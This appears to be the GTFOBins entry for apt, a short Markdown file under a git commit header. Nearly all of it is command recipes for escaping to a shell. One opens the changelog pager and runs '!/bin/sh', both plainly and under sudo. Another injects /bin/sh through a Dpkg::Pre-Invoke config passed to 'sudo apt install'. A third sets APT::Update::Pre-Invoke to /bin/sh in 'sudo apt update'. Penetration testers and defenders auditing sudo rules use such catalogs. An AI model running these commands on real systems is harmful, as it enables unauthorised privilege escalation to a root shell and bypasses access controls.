GTFOBins.github.io/_gtfobins/apt.md
Vicente Jimenez Aguilar 04b2874819 Correct apt invocations
Correct two invocations incorrectly writed as apt-get.
Both commands have similar options and behaviours.
2021-10-14 10:31:39 +02:00

774 B

functions
shell sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. apt changelog apt !/bin/sh
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo apt changelog apt !/bin/sh
description code
For this to work the target package (e.g., `sl`) must not be installed. TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt install -c $TF sl
description code
When the shell exits the `update` command is actually executed. sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh